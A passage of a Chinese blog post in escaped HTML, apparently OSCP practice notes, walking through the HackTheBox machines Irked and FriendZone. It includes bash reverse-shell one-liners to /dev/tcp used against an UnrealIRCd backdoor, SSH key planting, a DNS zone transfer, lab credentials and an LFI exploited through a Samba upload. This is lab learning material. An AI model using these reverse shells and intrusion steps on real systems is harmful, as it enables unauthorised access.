$cur&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm -rf var&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# wait for results&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Waiting for new logs...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tail -f /var/backups/onuma_backup_error.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;读了下代码&lt;/p&gt;&#10;&lt;p&gt;获取到那个文件夹里前面带.的文件 然后写死 死循环判断 如果他的文件列表没有任何变化 那就接着死循环 如果变化了将cur赋值 将目标文件移到上面定义的工作目录 解压 然后删掉robots.txt 将其替换为 /root/root.txt的ln链接 移动文件并改名 删除临时文件&lt;/p&gt;&#10;&lt;p&gt;至于为什么onuma_backup_error.txt有flag 全在 backeruperer中&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0122.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;errormsg定义的是这个文件&lt;/p&gt;&#10;&lt;p&gt;integrity_chk函数调用的diff -r 会将所有目录和文件进行比对 在遇到不同的地方也会输出&lt;/p&gt;&#10;&lt;p&gt;这里他将错误信息写入了errormsg 而他就是刚刚的onuma_backup_error.txt&lt;/p&gt;&#10;&lt;p&gt;所以才能获取到flag&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0123.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个脚本思路非常清晰 我都感觉是作者写的了&lt;/p&gt;&#10;&lt;p&gt;这一个靶机从下午到晚上 踩了非常多的坑 只能说还没考试 学到了很多东西 考试中踩这些才是最致命的&lt;/p&gt;&#10;&lt;h2 id="8irked"&gt;&lt;a href="#8irked" class="header-anchor"&gt;&lt;/a&gt;8.Irked&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0124.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0125.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;1.ssh可以连一下看看有没有提示&lt;/p&gt;&#10;&lt;p&gt;2.80端口可以看一下&lt;/p&gt;&#10;&lt;p&gt;3.irc忘了 去搜了一下发现之前用过&lt;a class="link" href="https://en.wikipedia.org/wiki/IRC" target="_blank" rel="noopener"&#10; &gt;https://en.wikipedia.org/wiki/IRC&lt;/a&gt; hexchat 是一个聊天的工具 而他开了6697默认端口 8067 65534这几个端口 版本为UnrealIRCd 还有管理员的邮箱&lt;/p&gt;&#10;&lt;p&gt;4.ircbind &lt;a class="link" href="https://blog.csdn.net/ichen820/article/details/120365560" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/ichen820/article/details/120365560&lt;/a&gt; 这一篇写的不错 跟nfs有关 但是nfs的端口没有开放&lt;/p&gt;&#10;&lt;p&gt;全看了一遍&lt;/p&gt;&#10;&lt;p&gt;ssh没有东西 80有个manual页面 也没爆破出什么东西&lt;/p&gt;&#10;&lt;p&gt;看了一下irc hexchat启动即可&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0126.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;查看列表没有任何东西 所有端口都看了一遍 同一个服务&lt;/p&gt;&#10;&lt;p&gt;现在爆破80的同时看看框架漏洞 只有UnrealIRCd这个有框架漏洞&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0127.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;读了下代码 填参数就行 perl脚本 理解不是很困难&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0128.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;自带的几个网址都不行了 自行构造payload就行&lt;/p&gt;&#10;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/9999 &amp;lt;&amp;amp;1'&lt;/p&gt;&#10;&lt;p&gt;三个端口都打了payload没有一点效果 后续找了半天 啥都找不到了 实在是没办法了&lt;/p&gt;&#10;&lt;p&gt;看了下wp就是打这个payload 又去尝试了 又不行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0129.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;后面才知道都是手动打 或者 自己写脚本 就是打不上去 脚本有bug&lt;/p&gt;&#10;&lt;p&gt;有时候打exp打不上不去简单的可以自己手动构造&lt;/p&gt;&#10;&lt;p&gt;算是学会了 不能用自带的了 其实还有个msf的exp 但是oscp最好不用这个&lt;/p&gt;&#10;&lt;p&gt;开始读一下代码吧 看看怎么手动构造&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0130.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;在这一块 tcp协议socket连上目标ip/port 连接失败会报错&lt;/p&gt;&#10;&lt;p&gt;成功后在调用socket发数据 也就是之前的payload 尽量不动一下他的payload 前面加个AB; 就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0131.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功上来了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0132.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;他这个太卡了 perl脚本写的是连上了就打exp 咋可能直接能执行 得等等 所以我感觉是太卡的原因 我加了个sleep其实还能用&lt;/p&gt;&#10;&lt;p&gt;果然&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0133.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0134.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是没分析到位&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0135.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里浪费了很多时间 构造exp的作者应该没考虑这个&lt;/p&gt;&#10;&lt;p&gt;现在开始提权 先多开个shell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0136.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/6666 &amp;lt;&amp;amp;1&amp;rsquo; &amp;gt; cmd.out 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/p&gt;&#10;&lt;p&gt;翻了当前目录下所有的conf文件 没找到有用的信息&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0137.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;家目录还有个 djmardov 大概率要越权到这个用户&lt;/p&gt;&#10;&lt;p&gt;根据版本找了个exp 打了没效果&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0138.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum.sh没有任何东西 就不放图了&lt;/p&gt;&#10;&lt;p&gt;pspy32也没有有意思的东西&lt;/p&gt;&#10;&lt;p&gt;有意思的常规提权 su用不了 sudo不存在 根据su的提示 我们得通过终端登录 我的大致思路就是写私钥看看行不行了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0139.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;配置没问题 可以写&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0140.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;生成一对公钥私钥&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0141.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;改名字把公钥传到服务器上就行 名称必须为默认的 authorized_keys&lt;/p&gt;&#10;&lt;p&gt;结果连不上去 调试了一下看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0142.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;版本问题 重新生成密钥对&lt;/p&gt;&#10;&lt;p&gt;ssh-keygen -t rsa -t ed25519 -f ./new_temp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0143.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功上来了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0144.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;ok了 现在还需要密码才行&lt;/p&gt;&#10;&lt;p&gt;最终翻到了这个&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0145.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;user.txt访问不了 他的指向也是上级目录的 user.txt&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0146.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;根据提示 steg 刚开始的时候我尝试过用这个去访问大图 但是不行 这次再试试&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0147.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没密码没东西就没管&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0148.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0149.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到密码了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0150.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum.sh发现了一个没见过的服务 而且带s权限&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0151.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0152.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0153.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;伪造文件没问题 root权限&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0154.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;到此就结束了 其中工具类的都没任何难度 因为都会用 还是思路得优化一下 在这种靶场上 所有的信息都得收集 但有的时候信息收集太多了 会导致觉得哪处都有问题 还是得在细心点&lt;/p&gt;&#10;&lt;h2 id="9friendzone"&gt;&lt;a href="#9friendzone" class="header-anchor"&gt;&lt;/a&gt;9.FriendZone&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PORT STATE SERVICE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;21/tcp open ftp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;22/tcp open ssh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;53/tcp open domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;80/tcp open http&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| http-enum:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| /wordpress/: Blog&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_ /robots.txt: Robots file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;443/tcp open https&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;445/tcp open microsoft-ds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;全都测完了 下面写结论&lt;/p&gt;&#10;&lt;p&gt;21没有匿名登录 没有入口点&lt;/p&gt;&#10;&lt;p&gt;22没有入口点&lt;/p&gt;&#10;&lt;p&gt;53dns服务器 后续可以测域名什么的 在oscp这种上 每一个服务都有它的作用&lt;/p&gt;&#10;&lt;p&gt;80里面有个空的wordpress 有一个域名 friendzoneportal.red&lt;/p&gt;&#10;&lt;p&gt;139/445 samba服务 可以连一下看看&lt;/p&gt;&#10;&lt;p&gt;443 https服务 没有任何东西&lt;/p&gt;&#10;&lt;p&gt;samba中存在一个未授权共享的文件 里面的内容如下&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;creds for the admin THING:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin:WORKWORKHhallelujah@#&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;这个密码 ssh ftp samba都没用&lt;/p&gt;&#10;&lt;p&gt;刚刚收集到了一个域名 清楚了后缀 加hosts&lt;/p&gt;&#10;&lt;p&gt;friendzoneportal.red&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0155.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没东西 dns服务器能帮我们查一下 直接发起请求&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig @10.10.10.123 friendzoneportal.red AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;这个命令会返回整个 DNS 区域的记录，包括所有的 A、AAAA、CNAME、MX 等记录，以及子域名的信息。&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.18.12-1-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.10.10.123 friendzoneportal.red AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; (1 server found)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; global options: +cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN AAAA ::1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN NS localhost.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;files.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;imports.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vpn.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; Query time: 660 msec&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; WHEN: Mon Sep 30 08:07:05 EDT 2024&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; XFR size: 9 records (messages 1, bytes 309)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;admin.friendzoneportal.red 可以登录&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0156.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;再回去看标题 friendzone.red 还有东西&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0157.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;administrator1.friendzone.red 可以登陆成功 里面有一些东西&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0158.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;他这个后面看了一下其实是一个php文件 在本地的 所以才能调用 很明显的lfi&lt;/p&gt;&#10;&lt;p&gt;开始测试&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0159.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;因为刚刚加了名称就能访问 说明后面大概率加了个.php 因为我访问/etc/passwd 什么都访问不了 php伪协议看一下源码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0160.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;后面的确会跟个.php&lt;/p&gt;&#10;&lt;p&gt;其他的也读了一下 没什么有用的 现在只缺一个写入文件的操作 但是能写入php文件的情况下 貌似也用不到这里&lt;/p&gt;&#10;&lt;p&gt;看了下 uploads.friendzone.red 一直提示上传成功 缺啥都没有&lt;/p&gt;&#10;&lt;p&gt;直接读了代码看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0161.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0162.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;怪不得&lt;/p&gt;&#10;&lt;p&gt;明明到这一步了 应该没啥问题了 只差一个写文件的权限 我突然想到了ftp可以写文件 而且最主要是 samba有一个可写的目录&lt;/p&gt;&#10;&lt;p&gt;ftp没有账密没办法 但是samba是可以的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0163.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0164.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;传上去了 根据下图猜测 估计在/etc目录下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0165.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;amp;pagename=/etc/Development/1" target="_blank" rel="noopener"&#10; &gt;https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;amp;pagename=/etc/Development/1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0166.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;终于拿到了立足点&lt;/p&gt;&#10;&lt;p&gt;再做信息收集:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for development process this is the mysql creds for user friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_user=friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 